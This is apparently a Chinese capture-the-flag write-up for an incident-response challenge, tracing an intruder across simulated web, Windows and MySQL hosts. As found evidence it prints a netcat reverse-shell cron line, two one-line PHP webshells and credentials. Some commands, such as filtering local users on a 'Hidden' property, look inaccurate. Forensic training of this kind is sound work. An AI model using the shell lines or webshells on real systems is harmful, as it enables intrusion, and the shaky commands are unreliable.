第二届帕鲁杯应急响应挑战赛"畸形的爱"赛题提供了一个模拟企业内网环境的四台服务器拓扑。参赛者需要通过分析这四台服务器的异常行为,还原攻击者的入侵路径并提取关键证据。网络环境包含以下主机:
提示:实战中遇到类似多主机环境时,建议先绘制网络拓扑图,标注已知的IP地址和主机角色,这对后续的关联分析至关重要。
解压赛题虚拟机需要以下密码组合:
使用提供的凭据登录WebServer(webserver/webserver,root/root)后,首先应检查异常进程:
bash复制ps aux | grep nc
发现可疑的netcat连接:
code复制root 1234 0.0 0.1 9876 1234 ? S Mar05 0:00 nc 192.168.31.11 1133
该连接指向内网IP 192.168.31.11的1133端口,表明攻击者可能建立了反向shell。通过定位相关脚本文件:
bash复制find / -name "*.sh" -exec grep -l "192.168.31.11" {} \;
发现/var/spool/cron/clean.sh脚本包含恶意代码。
检查系统计划任务发现更多可疑项:
bash复制crontab -l
cat /etc/crontab
发现定时执行的恶意任务:
code复制*/5 * * * * root nc 192.168.31.11 1144 -e /bin/bash
通过分析web日志/var/log/apache2/access.log,发现攻击者上传了webshell:
code复制192.168.31.240 - - [05/Mar/2025:03:05:58] "POST /uploads/shell.php HTTP/1.1" 200 572
192.168.31.240 - - [05/Mar/2025:03:06:12] "GET /a.php?cmd=id HTTP/1.1" 200 125
定位webshell文件:
bash复制locate shell.php
locate a.php
文件内容分析:
php复制// shell.php
<?php @eval($_POST['hack']);?>
// a.php
<?php system($_GET['cmd']);?>
在网站配置文件中发现数据库凭据:
bash复制grep -r "DB_" /var/www/html
找到config.php包含:
php复制define('DB_USER', 'webadmin');
define('DB_PASSWORD', 'P@ssw0rd123!');
使用凭据cmx666登录后,检查用户最近活动:
powershell复制Get-ChildItem C:\Users\cmx\AppData\Roaming\Microsoft\Windows\Recent
发现可疑文件:
注意:这是典型的钓鱼攻击特征,攻击者通过伪装成简历的恶意文件诱导用户执行。
使用CertUtil计算文件哈希:
powershell复制CertUtil -hashfile .\简历.exe MD5
得到钓鱼文件哈希值:2977CDAB8F3EE5EFDDAE61AD9F6CF203
使用zjl@123登录后,发现计划任务中的flag:
powershell复制Get-ScheduledTask | Where-Object {$_.TaskName -like "*flag*"}
输出显示:
code复制TaskName : flag_task
Action : Execute C:\Windows\Temp\a.bat
检查本地用户发现隐藏账户:
powershell复制Get-LocalUser | Where-Object {$_.Enabled -eq $true}
发现用户"wmx_love",通过SAM数据库提取其NTLM哈希可得到密码"wmx_love"。
使用sql/sql凭据登录MySQL服务器,查询可疑操作记录:
sql复制SELECT * FROM web.logs ORDER BY timestamp DESC LIMIT 10;
发现攻击者最后插入的flag记录:
code复制palu{sqlaabbccsbwindows}
在PC2发现攻击者邮箱:
code复制n0k4u@outlook.com
通过GitHub关联账户找到最终flag:
code复制https://github.com/n0k4u/whatthis/blob/main/README.md
进程分析要点:
Windows隐藏用户检测:
powershell复制Get-LocalUser | Where-Object {$_.Hidden -eq $true}
reg query "HKLM\SAM\SAM\Domains\Account\Users\Names"
WebShell快速定位:
bash复制find /var/www -name "*.php" -exec grep -l "eval(" {} \;
grep -r "system($_" /var/www
日志分析关键点:
通过这个案例我们可以学习到,现代攻击往往采用多阶段、多向量组合攻击。防守方需要掌握完整的攻击链分析能力,从初始入侵点到横向移动路径,再到持久化手段,每个环节都需要仔细排查。